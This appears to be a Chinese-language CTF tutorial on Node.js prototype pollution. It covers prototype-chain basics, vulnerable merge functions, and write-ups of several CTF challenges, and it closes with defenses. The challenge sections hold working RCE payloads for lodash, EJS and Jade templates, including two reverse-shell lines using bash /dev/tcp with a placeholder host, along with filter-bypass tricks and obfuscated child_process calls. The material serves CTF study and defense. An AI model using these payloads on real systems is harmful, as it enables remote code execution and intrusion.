浅析CTF中的Node.js原型链污染
字数 1194 2025-08-11 08:36:09
Node.js原型链污染攻击深度解析
一、原型链基础概念
1. JavaScript原型链机制
在JavaScript中,每个对象都有一个原型(__proto__),它是一个指向另一个对象的引用。访问对象属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性,这个过程会一直持续,直到找到该属性或到达原型链末尾。
2. __proto__与prototype的区别
prototype:是类的属性,所有类对象在实例化时都会拥有prototype中的属性和方法__proto__:是一个对象的属性,指向这个对象所在类的prototype属性
关系验证代码:
function Person(name) { this.name = name; }
Person.prototype.greet = function() { console.log(`Hello, my name is ${this.name}`); };
const person1 = new Person('Alice');
console.log(person1.__proto__ === Person.prototype); // 输出 true
二、原型链污染原理
1. 基本污染示例
var a = {number: 520};
var b = {number: 1314};
b.__proto__.number = 520; // 污染原型链
var c = {};
console.log(c.number); // 输出520,污染成功
2. JavaScript继承机制
调用b.number时的查找过程:
- 在b对象中寻找number属性
- 未找到时,在
b.__proto__中寻找 - 仍未找到,继续在
b.__proto__.__proto__中寻找 - 递归直到找到或到达
null
三、常见污染场景
1. 对象合并函数
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
let o1 = {};
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(o1, o2);
console.log({}.b); // 输出2,污染成功
关键点:必须使用JSON.parse,否则__proto__会被当作原型而非键名
2. Object.assign污染
let baseUser = {};
let user = JSON.parse('{"__proto__": {"isAdmin": true}}');
let newUser = Object.assign({}, baseUser, user);
console.log({}.isAdmin); // 输出true,污染成功
四、CTF实战案例
案例1:CatCTF 2022 wife
漏洞点:注册接口使用Object.assign合并用户数据
app.post('/register', (req, res) => {
let user = JSON.parse(req.body);
// ...省略验证逻辑...
let newUser = Object.assign({}, baseUser, user);
users.push(newUser);
});
利用方法:污染__proto__.isAdmin为true
案例2:Code-Breaking 2018 Thejs
漏洞点:使用lodash.merge合并数据
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []};
if (req.method == 'POST') {
data = lodash.merge(data, req.body);
req.session.data = data;
}
// ...渲染模板...
});
利用方法:污染sourceURL实现RCE
{
"__proto__": {
"sourceURL": "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"
}
}
案例3:CTFshow系列题目
Web334-338:基础原型链污染
关键代码:
utils.copy(user, req.body);
if(secret.ctfshow === '36dboy') {
res.end(flag);
}
利用方法:
{"__proto__": {"ctfshow": "36dboy"}}
Web339-341:EJS模板RCE
利用方法:污染outputFunctionName
{
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\"');var __tmp2"
}
}
Web342-343:Jade模板RCE
利用方法:污染compileDebug
{
"__proto__": {
"compileDebug": true,
"self": true,
"line": "console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\"'))"
}
}
Web344:绕过字符过滤
过滤规则:/8c|2c|\,/ig(过滤逗号和URL编码的逗号)
绕过方法:
// 原始payload
query={"name":"admin","password":"ctfshow","isVIP":true}
// 绕过payload
query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
五、防御措施
- 使用
Object.create(null)创建无原型的对象 - 冻结原型对象:
Object.freeze(Object.prototype) - 避免使用不安全的对象合并函数
- 对用户输入的
__proto__等特殊属性进行过滤 - 使用最新的Node.js版本,其中
__proto__已被标记为废弃
六、扩展知识
1. JavaScript大小写特性
toUpperCase()特殊处理:- "ı" → "I"
- "ſ" → "S"
toLowerCase()特殊处理:- "K" → "k"(注意不是字母K)
2. Node.js命令执行方法
// 方法1
require('child_process').execSync('命令')
// 方法2
require('child_process').spawnSync('命令', [参数]).output
// 方法3(当exec被过滤时)
require('child_process')['exe'+'cSync']('命令')
// 无require环境下的替代方案
global.process.mainModule.constructor._load('child_process').execSync('命令')